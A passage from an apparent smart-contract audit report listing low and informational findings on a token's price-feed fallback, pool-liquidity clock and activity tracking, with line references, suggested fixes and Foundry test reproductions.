     Expected (README and AUDIT.md section 6 finding 3): the pool has had no usable liquidity for 30 days, so each stock's 4 IMD round is paid to holders as IMD (owed(0) grows by 20e18) and imdPoolEmptySince stays set.

     Actual: imdPoolEmptySince == 0, owed(0) unchanged, pendingConvert(1) moves by 5 wei, lastConvert(1) consumed.

     A second test runs 40 daily rounds with the dust position in place: pendingConvert(1) == 5999999999999999800 afterwards and imdPoolEmptySince == 0 throughout.

     Run: cd contracts; forge test --match-path test/scratch/Checks.t.sol --match-test dustImdPool -vv (test_dustImdPool_keeps30DayFallbackFromFiring fails with 'after 30 days without usable liquidity every stock round is paid as IMD: 0 != 20000000000000000000').

     whole reproduction

   • lowA feed that is unusable for a single round (reverting call, short return data, answer <= 0) is treated as dead at once, not after DEAD_AFTER, so that stock's round is paid as IMD immediatelycontracts/src/CompanyToken.sol:824

     The request, README and the DEAD_AFTER NatSpec say a feed 'dead or unusable for DEAD_AFTER (30 days)' hands rounds to holders as IMD, and that a stale feed holds the stock.

     In code _feedAge returns type(uint256).max whenever latestRoundData reverts or returns fewer than 160 bytes (line 821) or reports answer <= 0 or updatedAt == 0 (line 824), and _feedsDead compares that to DEAD_AFTER (line 806), so a feed that is unusable right now is dead for this round: _convertAll takes the !_feedsFresh branch and calls _fallBackToImd(a, imdIn) at once (lines 664-667).

     Only the stale case (successful call, positive answer, updatedAt older than 4 days) gets the 30-day grace. Chainlink aggregator proxies can revert ('No data present') or report a zero answer transiently during an aggregator swap or incident; during such a window every claim() or convert() (one round per minute per stock) credits up to 4 IMD of that stock's reserve to holders as IMD, and a USDG/USD feed doing so affects all five stocks.

     Holders receive the value as IMD, so the loss is the stock exposure, not funds, and nobody outside Chainlink can trigger it, hence Low. Merged from audit_math, audit_flow and audit_economics (identical finding).

     Fix: only treat an unusable feed as dead after it has been unusable for DEAD_AFTER, e.g. remember per feed the last time it returned a usable answer (updated whenever _readFeed succeeds) and in _feedAge return block.timestamp - lastGood[feed] for an unusable response (max only when it has never been readable); or treat an unusable feed as merely stale (continue) and reserve the dead branch for a usable feed whose updatedAt is older than DEAD_AFTER.

     whole finding

     Setup as in Company.t.sol: alice and bob buy 1,000 IMD each (pendingConvert[1] = 6e18, deep pools, all feeds fresh). warp +1 minute.

     Input A: the NVDA feed returns answer = 0 with updatedAt = block.timestamp (MockFeed.set(0, block.timestamp)); call convert().

     Input B: the NVDA feed's latestRoundData reverts (vm.etch of a reverting feed); call convert().

     Expected in both cases (as for a stale feed in test_recheck1_staleFeed_holdsThatStock): NVDA skipped, pendingConvert(1) still 6e18, owed(0) unchanged, and only after 30 days of that is a round paid as IMD.

     Actual in both cases: pendingConvert(1) == 2e18 and owed(0) grows by 4e18 in the same call (ConversionFailed(1, 4e18)); the next minute's call converts the next 4 IMD the same way while the outage lasts.

     Run: cd contracts; forge test --match-path test/scratch/Checks.t.sol --match-test Feed_isDeadAtOnce -vv (both tests fail with '... should hold the stock until DEAD_AFTER: 2000000000000000000 != 6000000000000000000').

     whole reproduction

   • infoA contract wallet's buy through any router other than CompanyRouter/CompanyEthRouter is credited as activity to tx.origin (its relayer or signer), never to the buyercontracts/src/CompanyHook.sol:326

     For swaps whose sender is not CompanyRouter/CompanyEthRouter, afterSwap marks tx.origin active (lines 324-328). A smart-contract wallet (Safe, ERC-4337 account, any contract) that buys $COMPANY through the Universal Router, an aggregator or PoolSwapTest can never be tx.origin: markActive(relayer or bundler) resets a timer that owns no rewards, and the buyer's lastActive is untouched.

     Receipts from the PoolManager are deliberately not activity (78c00339 finding 4), so such a buyer has no buy-based path back and must claim or send to stay active; the README's rule 'buying keeps a wallet active' does not hold for that class.

     The NatSpec and README do say 'otherwise the transaction's signer', so this is a documented limit; no funds are at risk and nobody can exploit it (the fallback never credits anyone with rewards, and marking a wallet active only ever moves its expired part to the protocol first).

     Reported as information: either state plainly that only EOAs and CompanyRouter/CompanyEthRouter buyers get buy activity, route contract wallets through the Company routers on the website, or (if the hook stops marking non-router buyers, as the second finding's option (a) suggests) document that only router buys count. Merged from audit_math (info) and audit_permissions (low); rated info because the behaviour is documented and harmless to third parties.

     whole finding

     Setup as in Company.t.sol.

     Contract wallet W (any contract address) holds IMD and buys 20 IMD of $COMPANY through PoolSwapTest in a transaction signed by relayer R (vm.prank(W, R)); its first receipt makes lastActive(W) = t0. bob buys 20 IMD (a distribution). warp +6 days; W buys 1 IMD again through PoolSwapTest with tx.origin = R.

     Expected: lastActive(W) == now.

     Actual: lastActive(W) == t0 and lastActive(R) == now. warp +2 days: expiredRewardsOf(W, 0) > 0 although W bought two days earlier, and anyone can recycle it.

     Run: cd contracts; forge test --match-path test/scratch/Checks.t.sol --match-test contractWalletBuy -vv (the test asserts the actual behaviour and passes; its logs show lastActive(wallet) = 1800000000, lastActive(signer) = 1800518400).

     whole reproduction

   • infoimdPoolEmptySince is only cleared by a convert that sees liquidity, so a pool that had liquidity for the whole 30 days can still be declared dead if it is empty at two conversions 30 days apart with ncontracts/src/CompanyToken.sol:637

     The 30-day clock starts at the first _convertAll that reads cap == 0 and is reset only by a later _convertAll that reads cap > 0 (lines 636-643). Time during which the pool had liquidity but nobody called claim() or convert() does not refresh it. If the pool is seen empty at its price at two conversions more than 30 days apart with no conversion in between, the second one pays all five stocks' rounds (up to 20 IMD) as IMD although the pool was usable the whole time.

     On a live token this needs 30 days without any claim (every claim converts) and the pool empty at its price at both instants, so it is not triggerable early and not practical against a traded pool; holders still receive full value as IMD, which section 7 already accepts for purchases made to fail on purpose. Reported for completeness because the guarantee as written ('no liquidity at its price for 30 days') is not what is measured.

     Possible tightening: require the empty observation to be re-confirmed within a window (e.g. clear imdPoolEmptySince when more than DEAD_AFTER has passed since it was last confirmed empty, re-arming the clock instead of firing), or let any successful stock conversion clear it.

     whole finding

     Setup as in Company.t.sol: alice and bob buy 1,000 IMD each; warp +1 minute; remove all IMD/USDG liquidity; convert() sets imdPoolEmptySince = now; re-add the 10,000e18 liquidity. warp +31 days with no claim or convert; refresh feeds; remove the liquidity again and call convert().

     Expected: no fallback (the pool had liquidity for the whole 31 days).

     Actual: owed(0) grows by 20e18 (five 4 IMD rounds paid as IMD).

     Run: cd contracts; forge test --match-path test/scratch/Checks.t.sol --match-test imdPoolEmptySince -vv (fails with 'pool had liquidity for the whole period: no fallback: 50000000000000000000 != 30000000000000000000').

     whole reproduction
7. publishedaudit report
8. onchain
   1 receipt, 5 scoreson Ethereum mainnet

   receipt

   work accepted · transaction · record

   scores

   5 scores for reviewed on submission · all 5 passed · block 26,142,634 · transaction#1616#724#1430#281#1067